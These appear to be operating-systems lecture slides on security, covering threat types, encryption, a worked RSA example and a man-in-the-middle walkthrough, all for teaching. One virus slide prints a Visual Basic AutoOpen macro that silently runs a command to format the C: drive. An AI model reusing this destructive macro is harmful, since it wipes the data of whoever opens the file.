


Chapter 15: Security





Security Violations

- Categories
 - **Breach of confidentiality**
 - **Breach of integrity**
 - **Breach of availability**
 - **Theft of service**
 - **Denial of service**
- Methods
 - **Masquerading (breach authentication)**
 - **Man-in-the-middle attack**





Program Threats

- Trojan Horse
 - Code segment that misuses its environment
 - **Spyware, pop-up browser windows, covert channels**
- Trap Door
 - Specific user identifier or password that circumvents normal security procedures
 - Could be included in a compiler
- Logic Bomb
 - Program that initiates a security incident under certain circumstances
- Stack and Buffer Overflow
 - Exploits a bug in a program (overflow either the stack or memory buffers)





Program Threats (Cont.)

■ Viruses

- Code fragment embedded in legitimate program
- Very specific to CPU architecture, operating system, applications
- Usually borne via email or as a macro
 - ▶ Visual Basic Macro to reformat hard drive

```
Sub AutoOpen()
```

```
Dim oFS
```

```
Set oFS = CreateObject("Scripting.FileSystemObject")
```


```
vs = Shell("c:command.com /k format c:", vbHide)
```

```
End Sub
```





A Boot-sector Computer Virus





Cryptography as a Security Tool


- Broadest security tool available
 - Source and destination of messages cannot be trusted without cryptography
 - Means to constrain potential senders (*sources*) and / or receivers (*destinations*) of *messages*
- Based on secrets (**keys**)






Early Cryptography

normal alphabet: a b c d e f g h i j k l m n o p q r s t u v w x y z
cipher alphabet: c i p h e r s t u v w x y z a b d f g j k l m n o q





Secure Communication over Insecure Medium





Encryption

- Encryption algorithm consists of
 - Set of K keys
 - Set of M Messages
 - Set of C ciphertexts (encrypted messages)
 - A function $E : K \rightarrow (M \rightarrow C)$. That is, for each $k \in K$, $E(k)$ is a function for generating ciphertexts from messages.
 - ▶ Both E and $E(k)$ for any k should be efficiently computable functions.
 - A function $D : K \rightarrow (C \rightarrow M)$. That is, for each $k \in K$, $D(k)$ is a function for generating messages from ciphertexts.
 - ▶ Both D and $D(k)$ for any k should be efficiently computable functions.





Encryption

- An encryption algorithm must provide this essential property: Given a ciphertext $c \in C$, a computer can compute m such that $E(k)(m) = c$ only if it possesses $D(k)$.
 - Thus, a computer holding $D(k)$ can decrypt ciphertexts to the plaintexts used to produce them, but a computer not holding $D(k)$ cannot decrypt ciphertexts.
 - Since ciphertexts are generally exposed (for example, sent on the network), it is important that it be infeasible to derive $D(k)$ from the ciphertexts





Symmetric Encryption

- Same key used to encrypt and decrypt
 - $E(k)$ can be derived from $D(k)$, and vice versa
- DES is most commonly used symmetric block-encryption algorithm (created by US Govt)
 - Encrypts a block of data at a time
- Triple-DES considered more secure
- RC4 is most common symmetric stream cipher, but known to have vulnerabilities
 - Encrypts/decrypts a stream of bytes (i.e wireless transmission)
 - Key is a input to psuedo-random-bit generator
 - ▶ Generates an infinite **keystream**





Asymmetric Encryption

- Public-key encryption based on each user having two keys:
 - public key – published key used to encrypt data
 - private key – key known only to individual user used to decrypt data
- Must be an encryption scheme that can be made public without making it easy to figure out the decryption scheme
 - Most common is RSA block cipher
 - Efficient algorithm for testing whether or not a number is prime
 - No efficient algorithm is known for finding the prime factors of a number





Asymmetric Encryption (Cont.)

- Formally, it is computationally infeasible to derive $D(k_d, M)$ from $E(k_e, M)$, and so $E(k_e, M)$ need not be kept secret and can be widely disseminated
 - $E(k_e, M)$ (or just k_e) is the **public key**
 - $D(k_d, M)$ (or just k_d) is the **private key**
 - N is the product of two large, randomly chosen prime numbers p and q (for example, p and q are 512 bits each)
 - Encryption algorithm is $E(k_e, M)(m) = m^{k_e} \bmod N$, where k_e satisfies $k_e k_d \bmod (p-1)(q-1) = 1$
 - The decryption algorithm is then $D(k_d, M)(c) = c^{k_d} \bmod N$





Asymmetric Encryption Example


- For example. make $p = 7$ and $q = 13$
- We then calculate $N = 7 * 13 = 91$ and $(p-1)(q-1) = 72$
- We next select k_e relatively prime to 72 and < 72 , yielding 5
- Finally, we calculate k_d such that $k_e k_d \bmod 72 = 1$, yielding 29
- We now have our keys
 - Public key, $k_e, N = 5, 91$
 - Private key, $k_d, N = 29, 91$
- Encrypting the message 69 with the public key results in the cyphertext 62
- Cyphertext can be decoded with the private key
 - Public key can be distributed in cleartext to anyone who wants to communicate with holder of public key





Encryption and Decryption using RSA

Asymmetric Cryptography





Cryptography (Cont.)

- Note symmetric cryptography based on transformations, asymmetric based on mathematical functions
 - Asymmetric much more compute intensive
 - Typically not used for bulk data encryption







Key Distribution

- Delivery of symmetric key is huge challenge
 - Sometimes done **out-of-band**
- Asymmetric keys can proliferate – stored on **key ring**
 - Even asymmetric key distribution needs care – man-in-the-middle attack





Man-in-the-middle Attack on Asymmetric Cryptography





Man-in-the-middle attack

- 1. Alice sends a message to Bob, which is intercepted by Mallory:
 - Alice "Hi Bob, it's Alice. Give me your key"--> Mallory Bob
- 2. Mallory relays this message to Bob; Bob cannot tell it is not really from Alice:
 - Alice Mallory "Hi Bob, it's Alice. Give me your key"--> Bob
- 3. Bob responds with his encryption key:
 - Alice Mallory <--[Bob's_key] Bob
- 4. Mallory replaces Bob's key with her own, and relays this to Alice, claiming that it is Bob's key:
 - Alice <--[Mallory's_key] Mallory Bob
- 5. Alice encrypts a message with what she believes to be Bob's key, thinking that only Bob can read it:
 - Alice "Meet me at the bus stop!"[encrypted with Mallory's key]--> Mallory Bob





Man-in-the-middle attack

- 5. Alice encrypts a message with what she believes to be Bob's key, thinking that only Bob can read it:
 - Alice "Meet me at the bus stop!"[encrypted with Mallory's key]-->
Mallory Bob
- 6. However, because it was actually encrypted with Mallory's key, Mallory can decrypt it, read it, modify it (if desired), re-encrypt with Bob's key, and forward it to Bob:
 - Alice Mallory "Meet me at 22nd Ave!"[encrypted with Bob's key]-->
Bob
- 7. Bob thinks that this message is a secure communication from Alice.



End of Chapter 15

